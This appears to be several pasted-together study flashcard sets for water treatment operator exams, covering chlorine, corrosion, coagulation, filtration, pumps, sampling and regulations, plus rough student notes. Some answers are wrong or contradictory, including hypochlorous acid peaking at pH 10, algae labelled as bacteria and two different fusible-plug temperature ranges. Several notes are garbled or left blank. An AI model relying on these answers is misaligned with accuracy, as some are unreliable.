The warmer the water the more effective... - Answer: Chlorine is. the best range is between 70-80°F. Lower temps require longer contact time.
The more turbid the water... - Answer: the more demand it puts on the Chlorine.
Organic matter - Answer: puts a huge demand on Chlorine and forms disinfection byproducts.
Examples of inorganic matter include... - Answer: silt, dissolved metals, salts, and ammonia
Full Chlorine cylinders weigh about - Answer: 280 lbs
Fusible metal plugs are soft metal plugs that melt between - Answer: 158 - 165°F
Chlorine gas - Answer: is 99.7% pure. we calculate it as 100%
sodium hypochlorite . - Answer: is 3 to 12.5% pure
Calcium Hypochlorite - Answer: is 65 to 70% pure
Homogeneous Mixtures - Answer: also known as a solution , A homogeneous mixture is uniform in appearance and character. Another term for mixing is "dissolving."
The substance in greatest abundance in a solution is called a... - Answer: Solvant
A solute is - Answer: any other substance dissolved within the solvent.
Erosion - Answer: Water will physically remove particles from materials it contacts
Corrosion - Answer: Water is " The universal solvent", and will chemically remove particles
Water's polarity - Answer: The powerful magnetic forces of the water molecule are key to water being The universal solvant. These molecular magnets readily draw other substances into water.
What is saturation? - Answer: Saturation is the maximum concentration of a solute that can be dissolved within a solution.
Corrosion - Answer: Water that is not saturated tends to he corrosive, and will chemically attack it's container.
Saturation - Answer: Water that is fully saturated ( or beyond) tends to rid itself of particles.
What is Corrosion? - Answer: The deterioration of a material due to chemical reactions with it's environment. ( corrosion = loss of mass)
What is deposition? - Answer: The migration of particles within the water to the walls of the container, also known as " scale formation". Deposition = Gain of Mass
primary Corrosion concerns include... - Answer: Lead and copper and shielding bacteria within tubercules
Secondary Corrosion concerns for degraded water quality include... - Answer: Taste, odor, color. Also, staining of laundry and plumbing fixtures.
Stabilization is - Answer: the treatment processes used to control corrosion and/or deposition.
Stray electric current can accelerate - Answer: Corrosion
Uniform corrosion is even spread over a wide area and is... - Answer: usually associated with corrosive water conditions and especially affects unprotected surfaces.
An uneven attack on metal surfaces and imperfections is known as... - Answer: Localized Corrosion
Galvanic Corrosion - Answer: is caused by dissimilar metals that are electronically connected.
Direct measurement for Corrosion includes the... - Answer: "coupon test" which provides an accurate determination of mass gain or loss.
Acids used in water treatment include... - Answer: Sulfuric Acid and Carbon Dioxide
Bases used in water treatment include... - Answer: Sodium Hydroxide and lime
Addition of acids will - Answer: decrease alkalinity
Addition of bases will - Answer: increase alkalinity
Rasing the pH will cause precipitates (mostly calcium carbonate).... - Answer: to leave the water and coat the container
Lowering the pH will increase - Answer: the saturation level for most substances in water.
Sequestration/chelation - Answer: a chemical complexing (forming or joining together) of metal cations (such as iron) with certain inorganic compounds, such as phosphate. Sequestration prevents the precipitation of the metals (iron)
What is the most damaging effect of taste and odor problems for a water utility? - Answer: It is the loss of public confidence in the water utility's ability to provide safe, high quality water
What is the most damaging effect of taste and odor problems for a water utility? - Answer: It is the loss of public confidence in the water utility's ability to provide safe, high quality water
What two compounds can produce earthy and musty odors in water? - Answer: GEOSMIN and 2-METHYLISOBORNEOL (MIB)
Name the two groups of bacteria that are known to produce taste and odor compounds in water? - Answer: Diatoms and Dinoflagellates
How can nutrient levels in a water supply be increased? - Answer: When compounds containing nitrogen and phosphorus are introduced.
What are the sources of most chemical spills? - Answer: Most chemical spills are the result of accidents at industrial plants, chemical storage facilities, or during transportation.
where in the drinking water distribution system are taste and odor components likely to originate? - Answer: at dead end zones, low-flow zones, and areas subject to wide flow variations.
what sensory method uses a train panel to identify taste and odors in both the treatment process and distribution system? - Answer: The Taste threshold test.
how would you respond to a permanganate overdose? - Answer: add powdered activated carbon to the water. In some extreme cases, it may be necessary to increase the pH of the water for a short time to increase the time in which the magnanese is precipitated.
which filtration process uses the precoat and body fed operation? - Answer: diatomaceous earth
the fusible metal plugs melt at what range of temperatures? - Answer: 158 degrees F to 165 degrees F
when water is corrosive it tends to... - Answer: want to take minerals
what is needed for corrosion to take place? - Answer: an electrical current and a chemical reaction
does a little bit of scaling help protect pipes? - Answer: yes. A little scaling helps protect pipes.
what is the maximum contaminant level for lead? - Answer: 0.015 parts per million
what is the maximum contaminant level for copper? - Answer: 1.3 parts per million
the two fundamental requirements for a public water system using surface water is - Answer: filtration and disinfection
what is the material called that water passes through in a conventional filtration process? - Answer: filter media
what is the killing of pathogenic organisms called? - Answer: disinfection
how is turbidity physically measured? - Answer: particles in water scatter light, being detected by a photocell at 90 degrees.
small gaseous leaks in and around a chlorinator can be detected by the use of commercial strength... - Answer: ammonia
when contaminants stick to resin or GAC it is said to... - Answer: adsorb to the media
pathogenic organisms are - Answer: disease causing organisms
diatomaceous earth filtration - Answer: uses fossilized remains in the filtration process
what is the major limitation of ozone and UV disinfection? - Answer: they do not leave a residual and the distribution system
chlorine and blank combined to make chloramines - Answer: ammonia
filtration, preceded by coagulation, flocculation, and sedimentation is commonly referred to as - Answer: conventional filtration
Which acid is more effective at destroying or in activating pathogenic organisms? - Answer: hypochlorous acid
1 gallon - Answer: 8.34 pounds
1 cubic foot of water - Answer: 7.48 gallons
1 cubic foot - Answer: 62.4 pounds
1 acre (square feet) - Answer: 43,560 square feet
1 acre foot of water - Answer: 326,000 gallons
1 cubic foot per second - Answer: 0.646 MGD
1 foot of water - Answer: 0.433 psi
1 pound per square inch - Answer: 2.31 feet of water
1 gallon (gal) - Answer: 3.79 liters
1 mile (mi) - Answer: 5,280 feet (ft)
1 MGD - Answer: 694 gallons per minute
1 million gallons per day - Answer: 1.55 cubic feet per second
what is the purpose of the sedimentation process? - Answer: it is to remove flock and reduce the load on the filters
what is it called when water bypasses the flow path and reaches the end of the Basin before the normal detention time? - Answer: short-circuiting
direct filtration water treatment plants excludes which process - Answer: sedimentation
--------------------------------------
What is used as a chemical coagulant? - Answer: Alum
The correct order of treatment in a surface water plant is... - Answer: Coagulation, Flocculation, Sedimentation and Filtration
In determining the proper dosage of alum, the most useful test is the____________ test. - Answer: Jar
If sludge is not continually removed from the sedimentation basin, its accumulation results in? - Answer: Turbidity
The most widely used coagulant is.... - Answer: Aluminum sulfate
Optimum flocculation requires: - Answer: Gentle Agitation
Dissolved iron in excessive amounts results in consumer complaints about: - Answer: Turbidity
The most important raw water constituent for a surface water plant is.... - Answer: Turbidity
Turbidity in water is cause by the presence of..... - Answer: Suspended materials
The main purpose of the jar test is to determine the best: - Answer: Coagulant dosage
The formation of chlorine ice affects chlorine feed rate. This can be prevented by: - Answer: Decreasing the rate of chlorine withdrawal
The fusible metal plug on a chlorine cylinder is designed to open at what temperature range? - Answer: 157F-162F
A lantern ring is a.... - Answer: spacer ring in a pump packing gland
When backwashing a filter, the backwash valve should be opened slowly to prevent.... - Answer: Sand boils
Suction lift refers to the pressure difference between the center line of the pump.... - Answer: down to the hydraulic grade line
The parameter used to describe the roughness of the pipe interiors is called? - Answer: C factor
Prechlorination of raw water can lead to an interaction of chlorine with organic matter which can form? - Answer: Trihalomethanes
What is the main purpose of the coagulation and flocculation process? - Answer: To remove turbidity
What conditions most affect coagulation performance? - Answer: Velocity, water temperature, detention time and coagulant dosage
What would be the best indicator that the filter should be backwashed? - Answer: Filter effluent turbidity
The most crucial element of effective filter performance is... - Answer: proper backwashing
What is the chemical formula for calcium hypochlorite? - Answer: Ca(OCI)2
A violation of the MCL for total trihalomethanes occurs when? - Answer: The running average of quarterly samples during the previous 12 months exceeds the MCL.
CT is defined as.... - Answer: The product of residual disinfectant concentration and contact time of the disinfectant with the water.
What would the pH of water be that had the highest concentration of hypochlorous acid? - Answer: pH of 10, optimum range is pH of 5
What is the solution used to regenerate a zeolite softening unit? - Answer: Sodium chloride solution or NaCL
Langelier's index is used to determine - Answer: Corrosiveness
An effective chemical to raise pH is.... - Answer: Caustic Soda AKA Sodium Hydroxide
Minerals that cause an increase in alkalinity are? - Answer: Calcium Carbonate and Magnesium Bicarbonate
A problem related to ion exchange softeners is? - Answer: Increase in sodium content
Reservoir turnover is caused by... - Answer: denser water at the surface sinking towards the bottom
In a reservoir, the main water constituent that encourages algae growth is? - Answer: Phosphorous
A bubbler measures water level by sensing - Answer: Air pressure
The primary contaminant that is important to public health is? - Answer: Bacteria
What cannot be controlled in the normal operation of a sand filter? - Answer: Influent turbidity
A partial blockage on the intake line of a centrifugal pump may cause... - Answer: Cavitation
Continuous recording of the influent water turbidity is useful in indicating when to... - Answer: change the alum dosage
Which of the following would most likely improve the coagulation/flocculation process? - Answer: Increase in water temperature
What water treatment chemical is chemical feeder adjustment most critical because of potential toxicity? - Answer: Sodium fluoride
A chemical feed line that is installed after the sedimentation tank and before the filter is used to inject what chemical? - Answer: Filter aid chemicals
A dry chemical feeder is suitable for adding.... - Answer: potassium permanganate
Carbon dioxide is used in water treatment to do what? - Answer: Lower pH
pH meters should be standardized against.... - Answer: a buffer solution with pH approaching that of the sample
A Zeolite softening unit will replace calcium and magnesium ions with... - Answer: sodium ions
A liquid form of fluoride that is most widely used in water treatment is.... - Answer: fluosilicic acid
When alum is added to water, a floc is formed from the combination of alum and.... - Answer: Alkalinity
Successful performance of a sedimentation basin depends greatly upon... - Answer: surface settling rate
Potassium permanganate is a chemical most often used to... - Answer: removed dissolved iron
Recommended detention times for a sedimentation basin is... - Answer: 2 hours
Giardia lamblia may be removed from a surface water source by... - Answer: Filtration
What chemical would be most suited as a filter aid? - Answer: Anionic polymer
During backwashing, debris is noticed in the filter bed. What could that mean? - Answer: Insufficient backwash rate
Besides disinfection, what else is chlorine used for in water treatment? - Answer: Taste and odor control
The amount of the chlorine used by organic matter in water is a portion of the... - Answer: chlorine demand
Chlorine leaks in metal containers tend to... - Answer: become larger
The purpose of adding ammonia to potable water is to... - Answer: form combined chlorine residual
What would happen if a temporary fluoride feed rate increased to 62 mg/L in the finished water? - Answer: Nausea and vomiting would occur in nearly all consumers
It is important to maintain proper exhaust in areas where activated carbon is handled and fed to... - Answer: prevent possible explosion
Concentration of manganese in excess of 0.05 mg/L may result in... - Answer: Turbidity
The purpose of sodium thiosulfate in a microbiological sample bottle is to... - Answer: remove chlorine residual that may be present
What does not affect the friction loss in a water main? - Answer: Water hardness
Samples taken for routine analysis should be preserved by... - Answer: refrigerating
A method used to soften water is... - Answer: ion exchange
Pumps that work on the basis of inertia or mass moving in a circular motion are called... - Answer: centrifugal
The vent opening on an aerator should be screened with what size meshed screen? - Answer: 24
Aeration in water treatment plants is used to... - Answer: remove dissolved gasses
Al2(SO4)3 is the formula for.... - Answer: Aluminum sulfate
Neglecting friction losses, a water line 6 inches in diameter can.... - Answer: transport more water than two 4 inch lines
Copper sulfate is used primarily to.... - Answer: destroy algae
Water high in sulfates can cause - Answer: diarrhea
Which laboratory test is concerned with indicator changes at pH 8.3 and about pH 4.5? - Answer: Alkalinity
Polyphosphates may be used in water treatment to... - Answer: retard corrosion and calcium scale
When operating a surface water plant, which laboratory tests are most significant for establishing dosages for coagulation? - Answer: pH and alkalinity
Alum added to turbid water containing alkalinity forms_____________, which increase in size and settle out. - Answer: floc particles
Specific conductance provides and estimate of.... - Answer: dissolved solids
Anabaena can cause what undesirable characteristic in water? - Answer: taste and odor
If polyphospahtes are used to sequester (suspend) iron, where is the best injection point? - Answer: Before chlorination
Which treatment step is not used with direct filtration? - Answer: Sedimentation
A watercourse that flows continuously at all times of the year is called? - Answer: Perennial stream
During the night, algae causes the pH of the water to? - Answer: Decrease
What contributes to the creation of algae blooms? - Answer: Increased nutrients
What is found mainly in groundwater sources and forms a precipitate when oxidized? - Answer: Iron
The Riparian Doctrine is sometimes called the? - Answer: Rule of Reasonable Sharing
The organisms used to indicate the likelihood that pathogenic bacteria may be present are? - Answer: Coliform bacteria
What adverse effects does the secondary contaminant manganese have? - Answer: Discolored laundry and changed taste of water, coffee, tea and other beverages
In general what causes an increase in taste and odors when natural waters lack dissolved oxygen? - Answer: Anaerobic decomposition
A physical property, as opposed to chemical property, important to water treatments is? - Answer: Turbidity
What are the two principal chemicals that cause water hardness? - Answer: Calcium and Magnesium
Free chlorine residual values are based on a contact time of at least.. - Answer: 10 minutes
What is the typical strength of calcium hypochlorite, i.e., available chlorine range? - Answer: 65 to 70%
The treatment process that controls corrosion or scaling is known as? - Answer: Stabilization
Permanganate reactions are highly dependent upon? - Answer: pH
Establishing an MCL for pathogenic organisms is not practical, because? - Answer: No practical tests for their presence exist
Terminal disinfection (postchlorination) is the application of chlorine to... - Answer: Treated water entering the distribution system
Detention time in flocculation basins are usually designed to provide for: - Answer: 15 to 45 minutes
Alum works best in a pH range of: - Answer: 5.8 to 8.5
What is considered colloidal particles? - Answer: Tobacco smoke
What natural electrical force keeps colloidal particles apart in water treatment? - Answer: Zeta potential
The zeta potential measures the number of excess_________ found on the surface of all particulate matter. - Answer: Electrons
Which device collects the settled water as it leaves the sedimentation basin? - Answer: Effluent launder
In solid-contact basins with fairly constant water quality parameters, how often should the solids concentration be determined? - Answer: At least twice per day
The definition of decant is: - Answer: To draw off the liquid from a vessel of any size without stirring up bottom sediment
How often should sedimentation basins with mechanical sludge removal equipment be drained and inspected? - Answer: Once a year
What is the most important reason to reduce turbidity? - Answer: To remove pathogens
A manganese greensand filter can be regenerated by backwashing with? - Answer: Potassium permanganate
When a filter is ripening: - Answer: it is becoming more efficient in particle removal.
Iron and manganese occurring naturally in groundwater: - Answer: Has no adverse health effects
What roll does the action of straining of suspended particles play during filtration? - Answer: minor
The turbidity of settled water before it is applied to the filters ( post sedimentation process) should always be kept below: - Answer: 1 to 2 ntu
In the precipitative softening plant, which percentage of solids sludge is produced? - Answer: 5%
What sludge disposal method is most economical for lime-soda ash softening plants? - Answer: Lagoons
A large holding pond used to dewater sludge being pumped in is called a? - Answer: Lagoon
What process is used to concentrate sludge? - Answer: Thickener
What process is used to dewater sludge - Answer: Sand Bed
The size of the ion exchange unit and the volume of resin required depends on the: - Answer: Hardness of the raw water
Sequestration is effective only for: - Answer: Ground water with no oxygen and low levels of dissolved iron and manganese
When should polyphosphates used for sequestration of iron and manganese from a well be injected into the process? - Answer: Right after the water leaves the well
Recarbonation is: - Answer: Adding CO2 to the water
In the ion-exchange softening process, once the resin can no longer soften water it must be: - Answer: Regenerated
What should be used by an operator to test for residual chlorine? - Answer: DPD (N, N-diethyl-p-phenylenediamine)
What is a major part of a turbidimeter? - Answer: Light source
pH is a measure of: - Answer: Hydrogen ion concentration
What is used to indicate the clarity of water? - Answer: Turbidity
After chlorination, the free chlorine residual includes: - Answer: OCI- and HOC1
Under no circumstances should a composite sample be collected for which type of analysis? - Answer: Bacteriological
The number of monthly distribution system chlorine residual samples required is: - Answer: Based on population
When one substance is dissolved in another and will not settle out, what is it called? - Answer: A solution
What is a compound that is not derived from hydrocarbons? - Answer: Inorganic compound
After initial full-service operation, grease-lubricated bearings should be regreased at what frequency? - Answer: 3 to 6 months
Check valves are used to prevent? - Answer: Water from flowing in two directions
If a pump is run on a regular basis, packing should be inspected: - Answer: Annually
What is a function of couplings? - Answer: Compensate for alignment changes
What is the correct formula for determining watts> - Answer: Watts= (amps)(volts)
The main purpose of a mechanical seal is to: - Answer: Keep lubrication in and dirt and other foreign materials out
The purpose of packing is to: - Answer: Control water leakage along the pump's shaft
What part of a pump houses the packing or mechanical seal? - Answer: The stuffing box
What type of pump can be operated against a closed valve? - Answer: Centrifugal pump
What is a principal problem associated with preliminary treatment screening? - Answer: Clogging
Opening the discharge valve one full turn on a chlorine cylinder will: - Answer: Permit maximum discharge
Tubercles can form on which type of pipe? - Answer: Ductile iron
What is a primary indicator of bearing failure? - Answer: Noise from pump
What disease is capable of being transmitted by water? - Answer: Typhoid
When any piece of electrical equipment is being worked on, the circuit breaker should be: - Answer: De-energized and locked out
Which of the following directly impacts the treatment of drinking water?
A. Fair Labor Standards Act
B. Food Security Act
C. Safe Drinking Water Act
D. Clean Air Act - Answer: C. Safe Drinking Water Act
Corrosive water acting on a customer's plumbing may cause what metal to enter their drinking water? - Answer: Lead
What is the most important thing to consider in automatic startup after a power failure? - Answer: Operator Safety
On a 30 minute SCBA air pack, a low air pressure alarm is activated when_________ minutes of air is left. - Answer: 5
Which part of the human body is the most vulnerable to allowing microorganisms to enter it? - Answer: Eyes
Records of actions taken to correct violations must be kept for a minimum of: - Answer: 3 years
For surface water systems without filtration, the Surface Water Treatment Rule requires public water systems to: - Answer: Maintain a C x T value above the minimum value
Surface water systems must treat, at a minimum, for: - Answer: Coliform bacteria and turbidity
What type of violation requires an all clear notification to the public? - Answer: Tier I
How many coliform positive samples are allowed each month for water systems that collect less than 40 samples per month? - Answer: 1
If a water sample tests positive for coliforms, the system must collect a set of repeat samples within: - Answer: 24 hours
If a water body has high salinity and is warm, it will generally be: - Answer: Low in dissolved oxygen
What does the term surface runoff refer to? - Answer: Water that flows into the rivers after rainfall
What is the term for a water bearing geologic zone composed of material deposited by flowing rivers? - Answer: Alluvial aquifer
Temporary hardness is caused by - Answer: calcium bicarbonate
Which type of algae would most likely be found in nutrient rich waters? - Answer: Blue green algae
The quantity of dissolved oxygen in water is a function of: - Answer: Temperature, pressure, and salinity
Most of the carbon dioxide in groundwater originates from: - Answer: Biological oxidation of organic matter
At what temperature does the maximum density of water occur? - Answer: 4.0C
As water temperature increases, the disinfection action of chlorine will: - Answer: Increase
What effect will caustic soda have on water? - Answer: Increase the pH of the water
What chemical is used to soften water through chemical precipitation? - Answer: Calcium Hydroxide
If the natural fluoride content of the raw water is variable, the concentration of the raw water should be measured: - Answer: Every day
Low temperature water can be compensated for, when using alum by - Answer: Increasing the alum dosage
Which is the effective pH range for the removal of particulate matter, when using alum as a coagulant? - Answer: 5.5 to 8.5
What force will pull particles together once they have been destabilized in the coagulation-flocculation process? - Answer: Van der Waals Force
What is a common mistake that operators make in regards to flocculation units? - Answer: Excessive flocculation time
Ferric sulfate has what advantage over aluminum sulfate (alum) ? - Answer: More dense floc
What type of gravity filter has the longest filter run? - Answer: Slow sand filter
What is the major cause of short circuiting in a sedimentation basin? - Answer: Poor inlet baffling
Conventional sedimentation has a __________ removal of cryptosporidium oocysts. - Answer: Less than 0.5-log
in solids contact basins, the weir loading normally should not exceed __________ of weir length. - Answer: 10gpm/ft
Dissolved air flotation is particularly good for removing... - Answer: Algae
If filter run times between backwashes are long, for example one week, because high quality(low turbidity) water is being applied to the filters, what problem could still arise? - Answer: Floc breakthrough
A manganese greensand filter: - Answer: Is regenerated with potassium permanganate
What is the best type of salt to use in the regeneration of ion exchange softener resin? - Answer: Rock salt or pellet type salt
Alkalinity consists predominantly of... - Answer: Bicarbonate, carbonate, and hydroxide
What is the log removal or inactivation required for viruses? - Answer: 4.0 log
Which of the following will most accurately measure 500mL of solution?
A. 500-mL beaker
B. 500-mL Erlenmeyer flask
C. 500-mL graduated cylinder
D. 500-mL volumetric flask - Answer: D. 500-mL volumetric flask
Which of the following fluoride compounds comes in solution form:
A. Fluorosilicic acid
B. Soduim Fluoride
C. Sodium silicofluoride
D. Fluorine gas - Answer: A. Fluorosilicic acid
Which type of sample should always be collected for determining the presence of coliform bacteria?
A. Time composite
B. Grab sample
C. Proportional
D. Composite - Answer: B. Grab sample
Samples to be tested for coliforms can be refrigerated for up to __ hours before analysis, but should be done as soon as possible.
A.4
B. 6
C. 8
D. 12 - Answer: C. 8
What types of samples must be delivered within a 24-hour period? - Answer: Microbiological and bacterial
What chlorination method is being used more increasingly because of its relative safety as compared to gaseous chlorine? - Answer: Hypochlorination
When a sample is collected, what causes its quality to begin to change? - Answer: Biological activity
A hypochlorinator is used to: - Answer: Feed a liquid chlorine solution in to a water supply
Positive displacement pumps should be operated when: - Answer: Suction and discharge line valves are open
A 1-ton cylinder filled with chlorine weighs approximately: - Answer: 3,700lbs
When using four packing rings, the rings should be staggered at? - Answer: 90 degrees
What device applies an even pressure to the packing such that it compresses tight around the pump shaft? - Answer: Packing gland
How is velocity head expressed mathematically? - Answer: V2/2g
Which type of pump has neither volute nor diffuser vanes? - Answer: Axial-flow (propeller)
Most pump impellers are made out of what type of material? - Answer: Bronze
Which of the following parts in a centrifugal pump restricts flow betwwen the impeller discharge and suction areas? - Answer: Wear rings
What will occur if dry alum and quicklime are mixed together? - Answer: Highly explosive hydrogen gas will be released
Chlorine gas will... - Answer: support combustion
What is the maximum contaminant level goal for chloride? - Answer: 250 mg/L
Where are the sampling points located for required sampling of turbidity in a community water system? - Answer: Points where water enters the distribution system, including all filter effluents if a surface water treatment plant
What is the MCL for haloacetic acids (HAA5)? - Answer: 0.060 mg/L
What should be done with the lid while collecting a bacteriological sample? - Answer: Hold the cap, threads down, while collecting the sample with the other hand
Coliform bacteria will produce gas in ________ broth at _______ within ______.
A. Lactose or brilliant bile tryptose, 35 C, 24 to 48 hours
B. Lactose or brilliant bile tryptose, 35 C, 48 to 72 hours
C. Lactose or lauryl tryptose, 35.5 c, 24 to 48 hours
D. lactose or lauryl tryptose, 35.5 c, 18 to 24 hours - Answer: C. Lactose or lauryl tryptose, 35.5 C, 24 to 48 hours
The saturation point of a chemical in water varies with.....
A. pH
B. Total dissolved solids
C. Temperature
D. All of the above - Answer: D. All of the above
The amount of oxygen that can remain dissolved in water is a function of the water's_______,and the_______ the water, the _______ the possible concentration of dissolved oxygen.
A. pH, colder, lower
B. pH, higher, higher
C. Temperature, colder, higher
D. Temperature, higher, higher - Answer: C. Temperature, colder, higher
What is usually used to disinfect the gravel packing of a groundwater well? - Answer: Powder of calcium hypochlorite tablet
__________________ is a pretreatment process used to remove gravel, sand, and silt from the raw water before it enters the main treatment facility.
A. Screening
B. Preoxidation
C. Presedimentation
D. Microstraining - Answer: C. Presedimentation
Presedimentation basins can be converted with a retrofit of ________ and this can help ___________.
A. Tube settlers, eliminate water fowl problem
B. Baffles, reduce aquatic plants
C. Lamella plates, control the growth of algae
D. Lamella plates, reduce chemical usage - Answer: C. Lamella plates, control the growth of algae
What must an operator periodically check regarding the cyclone separator system? - Answer: Storage bin or hopper to empty of sand and grit
Alum works best in pH range of: - Answer: 5.8 to 8.5
SUVA (Specific Ultra Violet Absorbance) is an indicator of what disinfection by product precursor substances? - Answer: Humic content
What does NTU stand for? - Answer: Nephelometric Turbidity Unit
What is a major cause of short circuiting in a sedimentation basin? - Answer: Poor inlet baffling
--------------------------------------
aeration - Answer: pirate water, and give nice environment for the abiotic bacteria to thrive and break down any organic material that will hurt us
aerobic - Answer: good bacteria that decomposes the organic material in water
fecal matter - Answer: pathogens, organic matter, stuff we can't digest
molecule - Answer:
h bond - Answer: between intermolecular bond
polar covalent - Answer: intermolecular which is within the bond
water properties - Answer: surface tension, high specific heat , capillary action cohesion adhesion,
name three properties of water and where they are in nature with details - Answer:
water cycle - Answer: terms
evap, transportation, condensation, precipitation, infiltration(filter), run off(if quick), pooling is surface water or ground water , percolation - Answer:
ground water - Answer:
surface water - Answer:
diagrams of confined aquifer - Answer:
bottle vs. Tap and why - Answer:
epa - Answer: tap water and environmental protection agency
fda - Answer: food and drug administration bottled water(out of state)
swda - Answer: safe water drinking act made by epa
confined aquifer - Answer:
unconfined - Answer:
artisan well - Answer: high pressure, but if you draw out the pressure goes down
natural spring - Answer: pressure from aquifer and confined space
hot spring - Answer: pressure and heat
if take water, water table goes down - Answer:
water table - Answer: water in an unconfined aquifer, amount of water in zone of saturation
Ogallala Aquifer - Answer: can't recharge fast enough because its being used to much
issues - Answer: southwest, ogallala aquifer, aral sea
water management - Answer: dam, diversion, desal
dam - Answer: creates energy
diversion - Answer: pulling water off of river due to greater need for water
deslaination - Answer: evaporate and collect and reverse osmosis
pros and cons of dams diversion and desalination - Answer:
ways to conserve water - Answer: evaporation is #1 way to eval water
trickle irrigation - Answer: slower and gives plant chance to uptake
eutrophication - Answer: when nutrients is going into water, causes algae to grow, now tons of water on surface, sun doesn't penetrate, bacteria now grows, now the matted stuff decomposed, and now the bacteria uses all oxygen and animals can't breath and then everything dies because there is no oxygen and lake dies
gray water - Answer: water you use in your household that you reuse again
--------------------------------------
When collecting a distribution-system sample for bacteriological testing, the person collecting the sample should allow the water to run _______ before filling the sample bottle. - Answer: as long as necessary to clear service line
A chemical commonly used to raise PH is. - Answer: Lime.
Black stains on plumbing fixtures might be attributable to. - Answer: Manganese.
One kilogram equals _____ grams. - Answer: 1000
The indicator organisms used to determine contamination of drinking water are. - Answer: Coliform group.
The packing around the shaft of a centrifugal pump should be. - Answer: Tightened just enough to allow an occasional drop of liquid to escape.
The chemical symbol for iron is. - Answer: Fe.
One pound per square inch of pressure will raise water ______ ft. - Answer: 2.31
Static head is defined as the. - Answer: Pressure due to the depth or elevation of the water.
What is used to detect chlorine leaks. - Answer: 10 percent solution of ammonia hydroxide.
The pressure gauge reading at the base of a tank filled to a depth of 1ft is ______ psi. - Answer: 0.433
The multiple-tube fermentation test consists of three distinct tests. These tests, in order performed, are the. - Answer: Presumptive, confirmed, and completed tests.
Chlorine gas is. - Answer: 2 1/2 times denser than air.
Polyphosphates may be used in water treatment to retard corrosion and. - Answer: Calcium scale.
Calcium hypochlorite is formulated as a. - Answer: Powder.
Chlorine leaks in metal containers tend to. - Answer: Become larger.
Determining the PH of water is one of the important tests of water quality. The results of the PH test indicate the. - Answer: Hydrogen ion activity.
Leakage from a packing gland should be approximately. - Answer: One drop per second.
A chlorine cylinder valve is thought to be leaking. If ammonia vapor is passed near the valve. The presence of a leak would be indicated by. - Answer: White smoke.
If a fire hydrant requires a nozzle pressure of 100 psi, what head of water must be used to supply it? - Answer: 231 ft
A water main should be disinfected. - Answer: After the pipe is laid in place.
Carbon dioxide in water will. - Answer: Lower pH.
A pneumatic ejector lifts water from low points to higher levels. The device used to achieve this is a(n). - Answer: Air compressor.
Pressure is commonly measured in. - Answer: Pounds per square inch.
Mechanical seals are being installed in pumps because. - Answer: Packing requires an undesirable leakage that seals eliminate.
Which one of the following items must be replaced when connecting a new chlorine cylinder. - Answer: Lead washer.
A major cause of pump and motor shaft coupling wear is a. - Answer: Misalignment between pumps and motor flanges.
Filters in water treatment process are primarily for removing or reducing. - Answer: Turbidity.
A water treatment plant receives an average Flo of 261 gpm. What is the daily total flow to the plant. - Answer: 0.38 mgd.
The free chlorine residual in water is the amount of. - Answer: Uncombined chlorine that remains in the water after the chlorine has been applied and allowed to react.
The chemical name for muriatic acid is. - Answer: Hydrochloric acid.
A chlorine residual in water can be determined by using the regent. - Answer: Diethyl-p-phenylenediamine (DPD)
The most important use of. Chlorine in water treatment is as a(n). - Answer: Disinfectant.
What is the approximate volume in gallons occupied by 15,000 ft^3 - Answer: 112,200 gal
The difference between the amount of chlorine added to water and the amount of residual chlorine remaining at the end of a specified contact period is. - Answer: Chlorine demand.
Water that requires a large amount of soap to produce an acceptable lather is termed. - Answer: Hard.
A pump may be damaged if it is started with the discharge valve closed, if the pump is a(n). - Answer: Positive-displacement pump.
Prepared water sample bottles used for collecting samples for bacteriological examination contain sodium thiosulfate crystals. It is important not to rinse out the sample bottle because the sodium thiosulfate. - Answer: Neutralizes any chlorine present in the sample.
Velocity of flow in water mains is usually expressed in terms of. - Answer: Feet per second.
A pH reading of 6.0 in raw water indicted the sample is. - Answer: Acid.
The temperature of water in a stream is 10 Celsius. What is the equivalent temperature in degrees Fahrenheit. - Answer: 50 Fahrenheit
A grab sample represents. - Answer: The quality of the water at the time the sample was taken.
The pH scale runs from. - Answer: 0-14
Five gallons of water weigh _____lb. - Answer: 41.7 lb.
What is the approximate weight, in pounds, of 50,000 gal of water? - Answer: 417,000 lb.
The flow is 35,000gpd. This is ____ mgd. - Answer: 0.035 mgd.
The most important factor affecting the useful life of piping is. - Answer: The ability of the materials used to resist internal and external corrosion.
A pH value of 7.0 is considered to be. - Answer: Neutral.
The discharge-pressure gauge on a pump reads 15 psi. This is equivalent to ______ ft of head. - Answer: 35 ft.
Chlorine is very corrosive when combined with. - Answer: Moisture/water.
What is the surface area of a clarifier 40 ft in diameter. - Answer: 1256 ft^2
Chloramines are formed by the addition of chlorine and. - Answer: Ammonia
The purpose of a rotameter is to. - Answer: Meter the flow of fluid.
A valve that joins a customers service to the water main is called the. - Answer: Corporation cock.
When compared to a 1-mil gal reservoir at the same water elevation, how much pressure in the mains will a 100,000-gal reservoir develop? - Answer: The same pressure.
What information must be on a warning tag attached to a switch that has been locked out? - Answer: Signature of the person who locked out switch and who is the only person authorized to remove the tag.
Which one of the following types of meters has the no moving parts? - Answer: Venturi.
The component of a centrifugal pump that is sometimes installed on the end of the suction pipe to hold the prime is known as a. - Answer: Foot valve.
Coagulation and sedimentation alone cannot remove all of the turgidity and suspended matter in raw water. The final step in removal of suspended matter in water is. - Answer: Filtration.
Water weighs ______ lb/gal. - Answer: 8.34 lb.
The chemical symbol for sodium is. - Answer: Na.
The purpose for fluoridating municipal water supplies is to. - Answer: Help prevent dental decay.
Pressure is usually measured in. - Answer: Pounds per square inch (psi)
Chlorine valves are opened and closed with. - Answer: Valve wrenches provided with a cylinder or 1-ton container by the manufacturer.
What is the weight of a cubic foot of water? - Answer: 62.4 lb.
When opening and closing valves in high-pressure lines, the valves should be be opened - Answer: And closed slowly.
A hypochlorinator is used to feed _______ into a water supply. - Answer: Hypochlorite solution.
One cubic foot of water contains _______ gal. - Answer: 7.48 gal.
One of the purposes of water storage tanks is to - Answer: Supply water at peak demands.
Mud, silt, clay, and other suspended matter in water that cause it to appear murky are called - Answer: Turbidity.
If the pressure gauge at the bottom of a 200-ft standpipe reads 68psi, what is the static head in feet? - Answer: 157 ft
The volume of a sample should depend on - Answer: What test the sample will be used for.
A pump needs new packing - Answer: When gland follower is pulled all the way down.
Sodium hypochlorite is a - Answer: Compound that can be purchased in liquid solution and can be used for disinfection.
Gas chlorinators, when operated at a high rate of withdrawal from the chlorine cylinder, can result in - Answer: Ice formation on the chlorine cylinder.
When a single water sample is reported as safe, this may be interpreted to mean - Answer: That the water supply was safe at the sampling point at the time of sampling.
In loading or unloading 150-lb chlorine cylinders, hand trucks should be used that are equipped with - Answer: A retaining or safety chain.
